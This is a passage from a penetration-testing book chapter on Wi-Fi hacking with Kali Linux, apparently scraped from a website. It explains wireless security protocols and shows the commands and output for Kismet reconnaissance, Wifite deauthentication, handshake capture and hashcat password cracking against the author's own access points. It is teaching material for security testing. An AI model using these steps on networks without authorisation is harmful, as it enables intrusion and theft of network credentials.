Skip to content
ImagineWorld

you’ll first learn the concepts of hacking Wi-Fi networks, and about ways to defend against these types of attacks. Chapter 10

node_idnode-book_linux-shell-scripting-for-hackers_chapter-09-youll-first-learn-the-concepts-of-hacking-wi-fi-networks-and
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num9
chapter_titleyou’ll first learn the concepts of hacking Wi-Fi networks, and about ways to defend against these types of attacks. Chapter 10
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 9 — you’ll first learn the concepts of hacking Wi-Fi networks, and about ways to defend against these types of attacks. Chapter 10

Section titled “Chapter 9 — you’ll first learn the concepts of hacking Wi-Fi networks, and about ways to defend against these types of attacks. Chapter 10”

Wireless Local Area Networks (WLAN s), more commonly known as Wi-Fi, are a very important part of modern computing for both personal and business reasons. Every modern laptop and many modern workstations have wireless network adapters built into them. For computers that don’t have them built in, you can buy a wireless adapter that will fit into either an empty PCI slot or a USB port.

In the home, Wi-Fi allows people to use their computers anywhere in the house without having to run Ethernet cables all over the place. It also allows people to use wireless devices that can’t connect to a wired network, such as smart doorbells or outdoor security cameras. (In my own case, it allows me to still use my vintage Amazon Kindle e-book reader that’s too old to connect to a modern 4G or 5G phone network.)

Most businesses and enterprises use wired network systems, but even for them, Wi-Fi can be very handy. Employees who need to carry around a laptop can always stay connected to the network, thanks to Wi-Fi. Colleges and universities often offer public access to their Wi-Fi networks, which makes it handy for guest speakers to come in and conduct seminars that require audience members to connect their laptops to the network.

The problem with Wi-Fi is that hackers don’t have to perform any special magic to intercept network packets. For example, tapping into a wired network requires that the hacker have physical access to the wired network. On the other hand, hacking Wi-Fi only requires that the hacker carry around a laptop that has Wi-Fi hacking tools installed. In many cases, the hacker won’t even have to be inside the building where the Wi-Fi network is, because wireless signals are often strong enough to reach someone who’s sitting outside in the parking lot. So, anyone who uses Wi-Fi needs to ensure that their Wi-Fi network is locked down in order to prevent unauthorized access. I mean, you can’t always prevent hackers from intercepting your Wi-Fi signal, but there are things that you can do to help prevent hackers from decoding the network packets and capturing the login credentials. This, in turn, would prevent the hackers from intercepting sensitive data, such as banking information, customer records, financial data, users’ passwords, and information about the company’s internal systems.

In this chapter, we’ll look at some methods that you can use to verify an organization’s Wi-Fi security.

Topics in the chapter include:

  • Understanding the wireless security protocols
  • Hacking networks with default passwords
  • Setting up a wireless adapter for VirtualBox
  • Performing wireless reconnaissance with Kismet
  • Automating Wi-Fi attacks with Wifite

Okay, let’s get started.

For this chapter, you’ll need these items:

  • Either your Kali Linux virtual machine or a physical machine with Kali Linux installed.
  • If you’re using a Kali virtual machine, you’ll need a wireless adapter that you can plug into the USB port of the host machine. The wireless adapter must be capable of doing packet injection. (I’ll explain about that in a bit.)
  • If you’re using a physical machine with Kali installed on it, you’ll also need a USB wireless adapter that’s capable of doing packet injection. (The wireless adapter that’s built into your physical machine most likely can’t do packet injection.)
  • You’ll also need a wireless access point that can still use the old WPA2 Wi-Fi protocol, and at least one WPA or WPA2 wireless device that can connect to it. This is because the newer WPA3 protocol is more secure, and none of the methods that I present here will work with it. (I’ll explain about the various Wi-Fi protocols in just a bit.)

You can download the supplemental files by doing:

git clone https://github.com/PacktPublishing/Linux-Shell-Scripting-for-Hackers

Understanding the wireless security protocols

Section titled “Understanding the wireless security protocols”

Even on wired networks, it’s very important to use strong data encryption, especially when dealing with sensitive data. On Wi-Fi networks, using strong data encryption becomes even more important, due to how incredibly easy it is to intercept Wi-Fi traffic. For a penetration tester such as yourself, it’s helpful to know about the evolution of Wi-Fi security protocols. Here’s the rundown.

This was the first Wi-Fi security solution that included data encryption. However, the whole WEP thing turned out to be somewhat of a bad joke, because it’s so incredibly easy to crack. Anyone with the right software and a modern computer can crack WEP encryption in a matter of mere minutes. (Yes, you read that right. I did say minutes. And, this isn’t a dictionary or brute-force password attack. This attack involves actually breaking the encryption.) When WEP was first ratified as a security standard in September 1999, the United States government had placed export restrictions on strong cryptographic technologies. For that reason, WEP devices had to use an incredibly weak encryption algorithm, along with incredibly weak encryption keys. This combination of a weak algorithm and weak keys was exceptionally easy to crack, even with the computer technology of the 1990s. Hopefully, you’ll never see any WEP devices during a real penetration test.

WPA is significantly stronger than WEP, even though it uses the same underlying technology that WEP uses. It also has an additional authentication feature. In addition to WPA-Personal mode, which requires setting a password on an access point and sharing that password with client devices, there’s also WPA-Enterprise mode. With WPA-Enterprise mode, client devices use security certificates to authenticate against a central authentication server, which in turn determines whether the clients are allowed to connect to the access point. WPA was intended as a temporary measure that could be run on existing WEP hardware. Although WPA is better than WEP, weaknesses were eventually found in WPA, which means that it’s now considered insecure. It has been deprecated since 2010.

You might think that WPA2 is an upgrade to WPA, but it isn’t. It’s an entirely new protocol that’s meant to replace WPA. It uses the AES encryption algorithm, which is much stronger than the RC4 algorithm that WEP and WPA use. As with WPA, WPA2 can be used in either WPA-Personal or WPA-Enterprise mode. Although it provides much better security than WPA provides, it still has one major problem. Just as with WPA, attackers can capture authentication traffic between a client and an access point, and then use a program such as Wifite to perform either an offline brute-force attack or an offline dictionary attack to recover the access point password. For this reason, it’s very important for anyone who uses WPA2 to set an exceptionally strong password that’s not in any password wordlists. There’s no Forward Secrecy in either WPA or WPA2, which means that an attacker could capture network traffic now, and then wait until some later date to try to decrypt it.

This is the current standard, which is much stronger than WPA2. Unlike WPA and WPA2, which both use the pre-shared key (PSK) mechanism for using passwords in WPA-Personal mode, WPA3 uses the Simultaneous Authentication of Equals (SAE) mechanism, which theoretically makes it impossible for attackers to perform brute-force or dictionary password attacks. (I say theoretically, because there are some possible ways to get around this security feature, which we’ll talk about later. Also, to keep things simple, I’ll let you use your favorite search engine to find the details on how PSK and SAE work.) WPA3 has Forward Secrecy, which means that any traffic that an attacker captures now can’t be decrypted at a later date. Unfortunately, it does have some other potential vulnerabilities, which we’ll discuss later.

The term “Wi-Fi” is a registered trademark of the Wi-Fi Alliance. The Wi-Fi Alliance is a non-profit organization that tests wireless devices to ensure that they conform to current wireless protocol standards. Wireless devices that pass these tests can be marketed as Wi-Fi Certified. Currently, devices must be WPA3-capable before manufacturers can apply the Wi-Fi Certified label to them.

Now, before we go any further with our discussion of Wi-Fi hacking tools, let’s talk about hacking networks with default passwords.

Sometimes, you might find it incredibly easy to hack someone’s wireless network, and you won’t even have to use any fancy hacking tools to do it. That’s because most network gear comes either with no login credentials set, or with preset default login credentials. Depending on the manufacturer and the particular model of a device, preset credentials can be in one of these three forms:

Some manufacturers set a different default password for each device of a certain model. Normally, the password for a device would be printed on its label, and the passwords for all devices of that model would follow a certain pattern. For example, the ActionTec router/wireless access point that my ISP provided to me came with a ten-character password that consists of lowercase letters and digits. It’s not likely that you’ll find any of these passwords in a wordlist that you can use for a dictionary attack. A brute-force attack might work if the password is too short or if the attacker has a sufficiently powerful computer to perform the attack.

The same default password for every device

Section titled “The same default password for every device”

Other manufacturers might set up all of their devices with the same default password. This is completely insecure, and administrators need to change the passwords before putting these devices into production use. This used to be a common problem with older network gear, because there was no mechanism that forced administrators to change the passwords upon the first login. But I have to confess that I don’t know if any network gear manufacturers still use this type of setup.

The same default password for initial setup

Section titled “The same default password for initial setup”

More modern network devices, such as the Netgear wireless access point that I just bought, use the same default login credentials for initially setting up every device of a specific model. However, the only thing you can do when you log in for the first time is perform the initial setup. This includes setting new passwords for both the administrator panel and client connections. (Clients can’t connect to this access point until a password is set.) This is much more secure than just setting a default password for normal logins.

You can easily find lists of default passwords by performing a simple web search. For your convenience, I’ve listed several default password sites in the Further reading section.

Now, before we go any further, I need to show you how to set up a wireless network adapter in VirtualBox.

Setting up a wireless adapter for VirtualBox

Section titled “Setting up a wireless adapter for VirtualBox”

Setting up a USB wireless adapter for VirtualBox isn’t hard. Here are the steps.

  1. If you haven’t done so already, download the VirtualBox Extension Pack from the VirtualBox website. Install it by opening your host machine’s file manager and double-clicking the Extension Pack file.
  2. If you haven’t done so already, plug your USB adapter into a USB port of your host machine.
  3. Open the Settings box for your Kali virtual machine. Enable the USB 3.0 controller and then close the Settings box.

Figure 9.1 – Enabling the USB 3.0 controller for the Kali virtual machine

Figure 9.1 – Enabling the USB 3.0 controller for the Kali virtual machine

  1. Start the Kali virtual machine. When it has finished booting, right-click on the USB icon at the bottom right-hand corner of the VirtualBox screen. Choose your network adapter from the pop-up list. The wireless adapter that I’m using is a Micro-Star AX1800 model, but it shows up in the list as a Realtek, which is the name of the chipset that the adapter uses. Here’s what that looks like:

Figure 9.2 – Choose your network adapter

Figure 9.2 – Choose your network adapter

  1. Verify that the wireless adapter works with the iwconfig command:
    ┌──(kali㉿kali)-[~]
    └─$ iwconfig
    lo no wireless extensions.
    eth0 no wireless extensions.
    eth1 no wireless extensions.
    wlan0 IEEE 802.11 ESSID:off/any
    Mode:Managed Access Point: Not-Associated
    Retry short limit:7 RTS thr:off Fragment thr:off
    Power Management:on

Okay, you’re now ready to perform the next exercise.

Of course, before you can hack into a wireless network, you’ll need to find a wireless access point and some network devices that have connected to it. You can use the Kismet tool for that, which we’ll look at next.

As you’ll soon see, the wireless hacking tools that I present here will show you the wireless access points and wireless client devices of your surrounding neighbors. You can’t prevent that, and it fortunately doesn’t hurt anything. However, you could get yourself into trouble if you try to actively attack your neighbors’ wireless networks. As always, never attack anyone else’s networks unless you have specific written permission to do so.

Performing wireless reconnaissance with Kismet

Section titled “Performing wireless reconnaissance with Kismet”

Kismet is a passive reconnaissance utility for wireless networks. It can detect various types of wireless devices, such as wireless routers, wireless access points, and various client devices such as laptops, smart meters, Bluetooth devices, and smart devices such as wireless security cameras. It also shows you information about these devices, such as:

  • Their MAC addresses
  • The wireless protocols that they’re using
  • The device manufacturer
  • The signal strength of each device
  • For wireless access points, Kismet can show you the connected client devices

Optionally, you can use Kismet to find the locations of the detected devices by plugging a Global Positioning System (GPS) device into a USB port on your Kali computer.

In addition to penetration testing, you can also use Kismet to:

  • Perform inventories of your organization’s wireless devices: This is important for keeping track of how many devices are on the network and where they’re deployed.
  • Search for unauthorized, rogue wireless access points: Someone could set up an unauthorized access point for either malicious or non-malicious reasons. For example, an IT administrator might set up an unauthorized access point just to get a job done more quickly. A malicious hacker might set up an unauthorized access point with the same name as an authorized access point, in order to trick users into logging into it with the credentials of the authorized access point.
  • Perform spectrum analysis: Spectrum analysis entails monitoring wireless network traffic to see if there are any problems with bottlenecks or wireless coverage.

Kismet is already installed on Kali, and is on the Kali start menu as 01-Reconnaissance/WiFi/kismet. But clicking on it does nothing but open a terminal window with the Kismet help menu. (To actually use Kismet, you’ll need to issue commands at the command-line.) There are a few steps that you’ll need to do before you can use the Kismet program, as you’ll see in the next demo.

Setting up Kismet is quick and easy. Here’s the procedure:

  1. The first step is to add your own user account to the kismet group, so that you won’t have to use your sudo privileges to run Kismet. Do it like this:
    ┌──(kali㉿kali)-[~]
    └─$ sudo usermod -a -G kismet kali
    [sudo] password for kali:
  2. To make your new group membership take effect, log out of Kali, and then log back in again.
  3. The next step is to view your Kali machine’s wireless adapters, like this:
    ┌──(kali㉿kali)-[~]
    └─$ iwconfig
    lo no wireless extensions.
    eth0 no wireless extensions.
    eth1 no wireless extensions.
    wlan0 IEEE 802.11 ESSID:off/any
    Mode:Managed Access Point: Not-Associated
    Retry short limit:7 RTS thr:off Fragment thr:off
    Power Management:on

As you see, the only wireless adapter is the wlan0 device that’s at the bottom of the list. The Mode:Managed part means that the adapter is operating normally.

  1. In its default mode of operation, your wireless adapter can’t accept network traffic that’s addressed to other devices. To allow your wireless adapter to accept traffic from other devices, place it into monitor mode, like this:
    ┌──(kali㉿kali)-[~]
    └─$ sudo airmon-ng start wlan0
    [sudo] password for kali:
    Found 2 processes that could cause trouble.
    Kill them using 'airmon-ng check kill' before putting
    the card in monitor mode, they will interfere by changing channels
    and sometimes putting the interface back in managed mode
    PID Name
    650 NetworkManager
    1791 wpa_supplicant
    PHY Interface Driver Chipset
    phy1 wlan0 rtw89_8852bu Micro Star International 802.11ax WLAN Adapter
    (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
    (mac80211 station mode vif disabled for [phy1]wlan0)
  2. Do the iwconfig command again, and you should see that the name of the wireless adapter has changed to wlan0mon, and that it is in monitor mode.
    ┌──(kali㉿kali)-[~]
    └─$ iwconfig
    lo no wireless extensions.
    eth0 no wireless extensions.
    eth1 no wireless extensions.
    wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz
    Retry short limit:7 RTS thr:off Fragment thr:off
    Power Management:on

What’s curious is that the wireless adapter name doesn’t always change to wlan0mon, and I have no idea why. If it doesn’t, it’s okay to use the wlan0 name in the next steps, as long as the iwconfig command shows Mode:Monitor in its output.

  1. Monitor mode is now enabled, which is good. But, the airmon-ng start command showed you a warning about how the NetworkManager and wpa_supplicant services could interfere with your reconnaissance. Shut the two services down by doing:
    ┌──(kali㉿kali)-[~]
    └─$ sudo airmon-ng check kill
    Killing these processes:
    PID Name
    1791 wpa_supplicant

It says that it only killed the wpa_supplicant service. But, it actually did also kill the NetworkManager service. (You can see that by running the systemctl status NetworkManager command.) Note that after you’ve killed these two services, you’ll no longer have normal network access.

  1. Next, start Kismet, using the -c option to specify the wireless adapter that you’ve just placed into monitor mode. The command looks like this:
    ┌──(kali㉿kali)-[~]
    └─$ kismet -c wlan0mon

You’ll see a scrolling list of wireless access points that Kismet is detecting. You’ll also see a message that tells you to set a username and password before trying to use Kismet.

Figure 9.3 – Running Kismet for the first time

Figure 9.3 – Running Kismet for the first time

  1. The message also directs you to access Kismet from your web browser. Use http://localhost:2501 as the URL, like so:

Figure 9.4 – Open Kismet in your web browser

Figure 9.4 – Open Kismet in your web browser

  1. A window for creating your user credentials will automatically pop up. Enter your desired credentials and click the Save button.

Figure 9.5 – Enter your desired user credentials, and then click Save.

Figure 9.5 – Enter your desired user credentials, and then click Save.

Your initial Kismet setup is now complete. In the next exercise, you’ll use Kismet to actually find some network devices.

Basic usage of Kismet is quite easy. Once you’ve finished with the initial configuration, you’ll see a constantly changing list of all active devices that your computer’s wireless adapter can detect. (If you live in a somewhat densely populated neighborhood, as I do, you’ll be amazed at the number of Wi-Fi devices that you’ll see.)

I’d love to show you a full screenshot of Kismet in action. Unfortunately, reducing the size of a full screenshot to fit on a book page makes the image too unclear for publication. So instead of placing the Kismet_full_screen.png image here, I’ve placed it in the GitHub repository, so that you can look at it with your favorite image viewer. Also, to be somewhat mindful about my neighbors’ privacy, I’ve blacked out all of the device names except for the three that belong to me. And, to be mindful of my own privacy, I’ve edited the names of my own devices.

As I mentioned at the beginning of this section, Kismet is capable of capturing traffic from many types of wireless devices. By default, it’s set to display all types of devices. To view only a specific type of device, open the drop-down menu at the upper right-hand corner of the Kismet screen and make your choice.

Figure 9.6 – Choose the type of device that you want to display

Figure 9.6 – Choose the type of device that you want to display

Of course, you’ll likely only see the normal wireless devices that are on your normal wireless network. To capture traffic from other types of devices, you’ll need to select the proper data source when you start Kismet. To collect data from some types of devices, you might have to install another type of antenna or sensor. (That’s all beyond the scope of this topic, though. For now, all we care about is using Kismet with normal network devices.)

Along the top of the Kismet screen, you’ll see the columns for the various types of data. Since the Kismet screen is too wide to display here in full width, here’s a shot of the first five columns:

Figure 9.7 – The first five columns of the Kismet screen

Figure 9.7 – The first five columns of the Kismet screen

Here’s the breakdown of the data fields:

  • Name: Whenever you set up a new access point, you need to give it a name, as you see in the first column. (This access point name is also known as the Extended Service Set Identifier, or ESSID. Keep that in mind, because you’ll need to know that for some of the other tools that you’ll see in this chapter. Also, I’ve placed a link to an explanation of the various service set names in the Further reading section.)
  • Type: In the second column, you see that these devices are designated as Wi-Fi AP, which means that they’re wireless access points.
  • Encryption: The third column shows the encryption protocol that the device is using. You see that the DONNIE_1 access point is an old WPA2 model, but the DONNIE_3 access point is a modern WPA3 model.
  • Last Seen: Column 4 is the date and time that Kismet last saw the device.
  • Packets: The fifth column is a graphical representation of the network packets that are going through the device.

Next, we see the rest of the columns:

Figure 9.8 – The rest of the Kismet columns

Figure 9.8 – The rest of the Kismet columns

Here’s the breakdown for these data fields:

  • Signal: The first column shows the signal strength of the device. The more positive the number, the better the signal. So in this case, the DONNIE_1 access point shows a -48 signal strength for channel 6, and -62 for channel 149. Keep in mind that we’re dealing with negative numbers here. This means that channel 6 has a stronger signal strength than channel 149, because -48 is more positive than -62.
  • Channel: Under the second column in this screenshot, you see that each access point is broadcasting on two different channels. For each device, the low number channels (channels 6 and 1) are on the 2.4 Ghz frequency spectrum. The two high number channels (channels 149 and 60) are on the 5 Ghz spectrum. (An explanation of the Wi-Fi frequency ranges is beyond the scope of this topic. If you’re curious though, I’ve added a reference in the Further reading section.)
  • Manufacturer: The third column shows the manufacturer of the devices.
  • Clients: The fourth column shows the number of client devices that are connected to each access point. Currently, we only see that one client is connected to channel 6 of the DONNIE_1 access point. But, this access point actually has three connected clients. Remember that Kismet collects data passively. If clients aren’t generating any network traffic with the access point, then Kismet won’t see them. In this case, only one client is currently generating traffic.
  • Uptime: The fifth column shows how long the access point has been running.
  • QBSS Channel Usage: The final field shows how busy each channel is. (QBSS stands for Quality of Service Enhanced Basic Service Set. I know, there are some letters missing from this acronym, but that’s just the way it is.)

To see information about an access point, just click on its name under the Name column. You’ll see a pop-up window that will look something like this:

Figure 9.9 – Information about my DONNIE_1 access point

Figure 9.9 – Information about my DONNIE_1 access point

When you click on the Wi-Fi (802.11) menu item at the bottom of the screen, you’ll see information about the clients that are connected to this access point. It will look something like this:

Figure 9.10 – Information about one of the connected clients

Figure 9.10 – Information about one of the connected clients

The connected client, which here is represented by the 00:13:02:89:FF:5F MAC address, is my ancient 2006 model Dell laptop that’s running Alpine Linux. (After 20 years, I’m surprised that it still works.) Keep in mind that Kismet is a passive reconnaissance tool, which means that it’s not sending out any probes to find devices. It depends solely upon intercepting network traffic that other devices send back and forth to each other. In order to get this laptop to show up in Kismet, I had to either log it out of the network and then log back in, or generate network traffic by accessing a website or doing a system update. When you shut down Kismet and open it again later, you won’t see these devices again unless they’re actively exchanging network traffic.

In its default configuration, Kismet automatically creates a log file for each session that you run. This file will contain the same data that you saw on the Kismet screen. These files are SQLite database files, as you see here:

┌──(kali㉿kali)-[~]
└─$ ls -l Kismet-20260123-21-45-20-1.kismet
-rw-r--r-- 1 kali kali 11988992 Jan 23 16:54 Kismet-20260123-21-45-20-1.kismet

Fortunately, the sqlitebrowser utility is already installed in Kali Linux. Use it to view the Kismet files, like so:

┌──(kali㉿kali)-[~]
└─$ sqlitebrowser Kismet-20260123-21-45-20-1.kismet

The full sqlitebrowser_with_kismet_file.png screenshot is too large to fit onto a book page, so I’ve uploaded it to the GitHub repository. That way, you can use your favorite image viewer to look at it.

When you’ve finished using Kismet, you can restart your normal networking services with the following three commands:

┌──(kali㉿kali)-[~]
└─$ sudo airmon-ng stop wlan0mon
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start NetworkManager
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start wpa_supplicant

There’s a lot more to Kismet than I can show you here. But you know the basics, and that’s all you need for now.

As I’ve just mentioned, Kismet is a passive tool, which is great if you only need to passively collect data about your wireless network. For penetration testing, you’ll need tools that can actively probe wireless devices. We’ll look at one of these tools in the next section.

One tricky part about Wi-Fi hacking is that there are several different attack vectors, and that an attack on any particular vector isn’t guaranteed to always work. For that reason, there are several different Wi-Fi hacking tools that each specialize in one type of attack vector. Here are the three WPA and WPA2 attack vectors that we’ll cover with Wifite.

A 4-way handshake occurs every time that a wireless client device authenticates to a wireless access point. If you can capture a 4-way handshake from an access point, you can use a password cracking tool and a wordlist to perform a dictionary-based attack on the access point. If a dictionary attack doesn’t work, you could also perform a brute-force attack.

WPS is a handy feature that eliminates the need to enter the access point password when connecting a new client device for the first time. Instead, you can just push a button on the access point device. Then, you would go to the client and either select the access point in its setup utility, or enter an eight-digit Personal Identification Number (PIN) for the access point. Unfortunately, WPS is susceptible to different types of attacks if it’s configured incorrectly, especially if it’s using a PIN for initial client setup.

PMKID keys are stored on WPA and WPA2 access points. They’re very useful, because when you’re roaming around with your laptop, it makes the transition from one access point to another go much faster. But, they’re also quite vulnerable, because it’s quite easy to steal a PMKID key from a WPA or WPA2 access point. The interesting part about this attack vector is that there’s no need to capture a 4-way handshake to make it work, or to even have a client connected to the access point. This type of attack can be more efficient than trying to capture full 4-way handshakes, but it does come with one disadvantage. It’s that running this attack under Wifite will capture the PMKID keys, but it won’t automatically tell you what the access point password is. Not to worry though, because you can take care of that with just one extra easy step. (I’ll show you all that in just a bit.)

Kali Linux includes at least one specialized tool for each of these attack vectors. Here are some of them:

  • aircrack-ng: The aircrack-ng package contains a suite of tools that serve several purposes. For example:
    • The airmon-ng tool that you just saw in the Kismet procedure is used to manage wireless network adapters. You can use it to place a network adapter into monitor mode, and also to automatically kill the NetworkManager and wpa_supplicant services.
      • The airodump-ng tool is used to capture wireless network traffic. It works pretty much the same as Kismet, but without the web interface.
      • The aireplay-ng tool is for injecting packets into the wireless network traffic. The main purpose is to send deauthentication packets to wireless clients that have already authenticated to a wireless access point. After a client is forced to deauthenticate, it will then attempt to authenticate again, which causes another 4-way handshake to occur. A running airodump-ng session will capture the 4-way handshake so that a password cracking attack can be run against it.
      • The aircrack-ng tool is a password cracking tool that can execute either a dictionary-based attack or a brute-force attack against a 4-way handshake.
  • Reaver: This tool can attack the WPS feature of some Wi-Fi access points.
  • hcxdumptool and hcxtools: These two packages contain utilities that can capture and crack PMKID keys from a WPA or WPA2 access point.
  • tshark: You can use tshark to search for valid 4-way handshakes.
  • hashcat: This is one of several tools that you can use to crack passwords, using either a dictionary attack or a brute-force attack.

Now, you could use each individual tool, one at a time, to perform each different type of attack. But, I can imagine that you probably wouldn’t want to. This is where Wifite comes in.

Wifite is a Python script that automatically uses all of these tools to perform each type of attack. If one type of attack doesn’t work, the next one might. Then, assuming that one of the tools successfully captured any useful data, such as a PMKID key or a 4-way handshake, Wifite will automatically invoke hashcat to perform a dictionary password attack. Wifite is already installed on Kali Linux, but the hcxdumptool and the hextools packages that are needed for the PMKID attacks are missing. Install them by doing:

┌──(kali㉿kali)-[~]
└─$ sudo apt install hcxdumptool hcxtools

As I mentioned in the Technical requirements section, you’ll also need a wireless adapter that’s capable of doing packet injection. Most likely, the wireless adapter that’s built into your laptop or workstation doesn’t have that capability. You can use the aireplay-ng -9 command to test your wireless adapter, like so:

┌──(kali㉿kali)-[~]
└─$ sudo aireplay-ng -9 wlan0mon
14:52:19 Trying broadcast probe requests...
14:52:21 No Answer...
14:52:21 Found 0 APs

The sole purpose of the -9 option is to test your wireless adapter. In this example, I’m testing the built-in wireless adapter of my late-model Hewlett-Packard Elitebook. The No Answer. . . and the Found 0 APs portions of the output show that this network adapter is not capable of doing packet injection. This adapter is fine if all you need to do is passive surveillance, but you can’t use it to do any deauthentication attacks.

Now, here’s how it looks when I test the Micro-Star AX1800 wireless adapter that I plugged into the USB port of my Kali virtual machine:

┌──(kali㉿kali)-[~]
└─$ sudo aireplay-ng -9 wlan0mon
[sudo] password for kali:
15:58:20 Trying broadcast probe requests...
15:58:22 No Answer...
15:58:22 Found 5 APs
15:58:22 Trying directed probe requests...
15:58:22 C4:E5:32:D1:34:82 - channel: 6 - 'Somebody'
15:58:22 Ping (min/avg/max): 0.517ms/7.127ms/30.454ms Power: -67.80
15:58:22 30/30: 100%
15:58:22 Injection is working!
15:58:23 A0:F3:C1:A6:06:AB - channel: 1 - 'DONNIE_1'
15:58:23 Ping (min/avg/max): 0.278ms/9.938ms/48.935ms Power: -73.10
15:58:23 30/30: 100%
15:58:23 32:34:AF:8D:D0:3E - channel: 6 - ''
15:58:29 0/30: 0%
15:58:29 32:34:AF:8D:D0:3F - channel: 6 - ''
15:58:35 0/30: 0%
15:58:35 32:34:AF:8D:D0:3D - channel: 6 - 'Somebody_Else'
15:58:41 0/30: 0%

This time, we found some access points, and we also see the Injection is working! line. This proves that this Micro-Star adapter is capable of doing packet injection.

I’ll let you do your own research about the specific model of wireless adapter to buy for yourself. Any list of recommended adapters that I could provide for you now might be obsolete by the time you read this.

Once you have a proper wireless adapter that’s capable of doing packet injection, you’re ready to use Wifite. The good news, which I know you’ll be happy to hear, is that using Wifite is incredibly easy. Here’s the command to get you started:

┌──(kali㉿kali)-[~]
└─$ sudo wifite --kill

If your Kali computer only has one wireless adapter, Wifite will detect it automatically and place it into monitor mode. The --kill option automatically stops the NetworkManager and wpa_supplicant services. If you’re using a computer with more than one wireless adapter, use the -i option to specify which adapter you want to use. For example, to use the wlan1 adapter instead of the default wlan0 adapter, your command would look like this:

┌──(kali㉿kali)-[~]
└─$ sudo wifite --kill -i wlan1

Wifite begins by passively capturing data about the surrounding wireless networks. Here’s an example of how it looks:

NUM ESSID CH ENCR PWR WPS CLIENT
--- ------------------------- --- ----- ---- --- ------
1 DONNIE_1 1 WPA2-P 68db lock
2 DONNIE_2 3 WPA2-P 63db yes
3 (CA:00:11:22:33:F2) 3 WPA2-P 62db no
4 DONNIE_3 1 WPA3-S 50db no
. . .
. . .
[+] Scanning. Found 127 target(s), 57 client(s). Ctrl+C when ready

When you’ve seen all of the access points that you need to see, hit ctrl+c to stop the capture. The last line of the above output will then change to this:

[+] Select target(s) (1-130) separated by commas, dashes or all:

The first attack we’ll look at is the WPA 4-way handshake attack.

I want to attack the DONNIE_1 access point, which is number 1 on the list.

To gather handshake packets, Wifite will use the aircrack-ng tools to try to passively capture handshakes from clients that are logging into the access point. If that fails, it will then use the aircrack-ng tools to perform a deauthentication attack against the access point and its clients. This will force the clients to reauthenticate to the access point, which will cause the handshake to take place again. Understand that this is an attack that could interrupt your client’s work. So as always, be sure that what you’re either allowed or not allowed to do is explicitly spelled out in the contract with your client.

  1. Begin the attack by entering the list number of the access point that you want to attack at the prompt.
    [+] Select target(s) (1-130) separated by commas, dashes or all: 1
    [+] (1/1) Starting attacks against A0:F3:C1:A6:06:AB (DONNIE_1)
    [+] DONNIE_1 (20db) PMKID CAPTURE: Failed to capture PMKID
    [+] DONNIE_1 (72db) WPA Handshake capture: Discovered new client: F0:4F:7C:86:00:8F
    [+] DONNIE_1 (71db) WPA Handshake capture: Captured handshake
    [+] saving copy of handshake to hs/handshake_DONNIE1_A0-F3-C1-A6-06-AB_2026-01-26T15-19-42.cap saved
    [+] analysis of captured handshake file:
    [+] tshark: .cap file contains a valid handshake for (a0:f3:c1:a6:06:ab)
    [+] aircrack: .cap file contains a valid handshake for (A0:F3:C1:A6:06:AB)
    [+] Cracking WPA/WPA2 Handshake: Running Hashcat with wordlist-probable.txt wordlist
    [+] Attempting to crack WPA/WPA2 hash using Hashcat mode 22000
    [+] Cracked WPA/WPA2 Handshake Key: Pa$$w0rd
    [+] Access Point Name: DONNIE_1
    [+] Access Point BSSID: A0:F3:C1:A6:06:AB
    [+] Encryption: WPA
    [+] Handshake File: hs/handshake_DONNIE1_A0-F3-C1-A6-06-AB_2026-01-26T15-19-42.cap
    [+] PSK (password): Pa$$w0rd
    [+] saved result to cracked.json (1 total)
    [+] Finished attacking 1 target(s), exiting

As you see, Wifite began the attack by using the hcxdumptool and hcxtools to perform a PMKID attack. That failed, so Wifite then used the aircrack-ng tools to successfully capture a 4-way handshake. Finally, Wifite invoked hashcat to perform a successful dictionary attack on the access point password. It saved the password—which in this case is Pa$$w0rd —to the cracked.json file in my home directory, as you see here:

[
{
"type": "WPA",
"date": 1769458783,
"essid": "DONNIE_1",
"bssid": "A0:F3:C1:A6:06:AB",
"key": "Pa$$w0rd",
"handshake_file": "hs/handshake_DONNIE1_A0-F3-C1-A6-06-AB_2026-01-26T15-19-42.cap"
}
]

It also saved a packet capture file to the hs/ directory, as you see here:

┌──(kali㉿kali)-[~/hs]
└─$ ls -l
total 1284
-rw-r--r-- 1 root root 1309149 Feb 2 14:59 handshake_DONNIE1_A0-F3-C1-A6-06-AB_2026-01-26T15-19-42.cap
  1. Obtain extra information about the wireless network by opening this capture file in Wireshark, like this:
    ┌──(kali㉿kali)-[~/hs]
    └─$ wireshark handshake_DONNIE1_A0-F3-C1-A6-06-AB_2026-01-26T15-19-42.cap
  2. After the file has fully loaded into Wireshark, search for the 4-way handshake messages by entering eapol into the display filter at the top of the screen, like so:

Figure 9.11 – Search for 4-way handshake messages in the capture file

Figure 9.11 – Search for 4-way handshake messages in the capture file

The Source, Destination, and Protocol columns show you some valuable extra information. Here’s what they look like:

Figure 9.12 – The Source, Destination, and Protocol columns of the capture file

Figure 9.12 – The Source, Destination, and Protocol columns of the capture file

The Extensible Authentication Protocol (EAPOL) is the protocol that transfers the 4-way handshake messages between the access point and the client. In the Source and Destination columns, you see that this message exchange takes place between a TpLinkTechno device and an AmazonTechno device. (The TpLinkTechno device is my DONNIE_1 access point, and the AmazonTechno device is my Amazon Kindle device.)

By default, Wifite uses the wordlist-probable.txt wordlist that’s in the /usr/share/dict/ directory. If you want to use an alternate wordlist, specify it with the --dict option, like this:

┌──(kali㉿kali)-[~]
└─$ sudo wifite --kill --dict /usr/share/wordlists/rockyou.txt

Full disclosure

DONNIE_1 isn’t the real name of my access point, and Pa$$w0rd isn’t its real password. To set up for these demos, I temporarily added my real access point passwords to the wordlist-probable.txt wordlist file and edited the demo output and screenshots to show the fictitious access point names and the fictitious password.

That does it for the WPA handshake attack. Let’s now look at the PMKID attack.

Sometimes, as I’ve already pointed out, you won’t be able to capture a handshake. For example, here are the results of an attack on my DONNIE_2 access point:

[+] (1/1) Starting attacks against C8:D7:19:48:13:F0 (DONNIE_2)
[+] DONNIE_2 (62db) WPS Pixie-Dust: [4m53s] Failed: Unexpected error: Reaver says "WPS pin not found"
